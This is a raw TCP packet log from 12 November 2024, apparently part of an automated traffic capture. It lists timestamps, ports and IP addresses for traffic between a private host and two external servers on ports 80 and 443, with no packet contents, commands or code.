Nov 12, 2024 10:37:36.283083916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283118963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283129930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283140898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283155918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283170938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283183098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283216953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283225060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283231020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283257008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283282995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283296108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283334970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283370972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283401012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283412933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283574104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283581018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283643961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283655882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283679962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283690929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283691883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283706903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283723116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283729076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283752918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283791065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283801079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283811092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283828974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283829927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283845901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283860922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.283888102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.283900023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.284179926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.335499048 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.335499048 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.335745096 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.335772991 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.335949898 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.335980892 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.336760044 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.336848974 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.336966038 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.337021112 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.338186026 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.338258982 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.338619947 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.338712931 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.356239080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356281042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356291056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356302023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356353998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356373072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356385946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356398106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356410027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356436968 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356437922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356451035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356456041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356465101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356481075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356489897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356513977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356544971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356556892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356568098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356578112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356589079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356601954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356611013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356641054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356653929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356666088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356677055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356718063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356825113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356836081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356853008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356867075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356874943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356879950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356892109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356904984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356906891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356933117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356945992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.356983900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.356993914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357003927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357017994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357029915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357036114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357049942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357079029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357079983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357162952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357173920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357184887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357214928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357228041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357253075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357265949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357275963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357289076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357305050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357311964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357338905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357346058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357369900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357379913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357389927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357400894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357413054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357424974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357425928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357438087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357462883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357590914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357603073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357614040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357624054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357635021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357645035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357646942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357661009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357671022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357683897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357696056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357703924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357722998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357723951 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357734919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357744932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357745886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357754946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357760906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357773066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357775927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357783079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357791901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357804060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357806921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357816935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357826948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357827902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357856989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.357862949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.357966900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358535051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358553886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358566046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358587027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358599901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358628988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358642101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358653069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358664036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358666897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358690023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358710051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358715057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358825922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358838081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358846903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358860016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358871937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358874083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358884096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358896971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358902931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358910084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358923912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358932972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358959913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358962059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.358972073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358989954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.358997107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359002113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359015942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359025955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359026909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359040022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359050989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359061956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359086990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359088898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359100103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359141111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359177113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359189034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359200954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359211922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359230995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359236956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359246969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359247923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359277010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359287977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359311104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359328985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359338999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359354019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359364986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359395027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359428883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359441042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359452009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359463930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359474897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359483957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359484911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359496117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359498024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359510899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359513998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359524012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359532118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359558105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359725952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359738111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359747887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359759092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359771013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359781981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359781981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359797955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359805107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359814882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359817982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359831095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359844923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359857082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359869003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359891891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.359973907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.359989882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360002995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360017061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360028028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360028982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360038042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360042095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360054970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360059023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360068083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360076904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360079050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360094070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360102892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360121965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360142946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360193968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360207081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360219955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360255003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360265970 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360341072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360353947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360363960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360377073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360392094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360404015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360407114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360416889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360428095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360435009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360447884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360451937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360460043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360477924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360481024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360510111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360529900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360641003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360655069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360666990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360678911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360688925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360690117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360699892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360711098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360723972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360733986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360734940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360747099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360748053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360760927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360771894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360776901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360784054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360796928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360812902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360826969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360835075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.360838890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360852003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.360886097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.383291006 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.383305073 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.383310080 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.383316994 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:36.400116920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400131941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400151014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400162935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400175095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400187969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400199890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400202036 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400243998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400284052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400296926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400305986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400324106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400336981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400346994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400369883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400393009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400624990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400662899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400665998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400680065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400721073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400757074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400768995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400779963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400814056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400826931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400846004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400856018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400866032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400880098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400891066 CET	80	49834	185.215.113.206	192.168.2.6
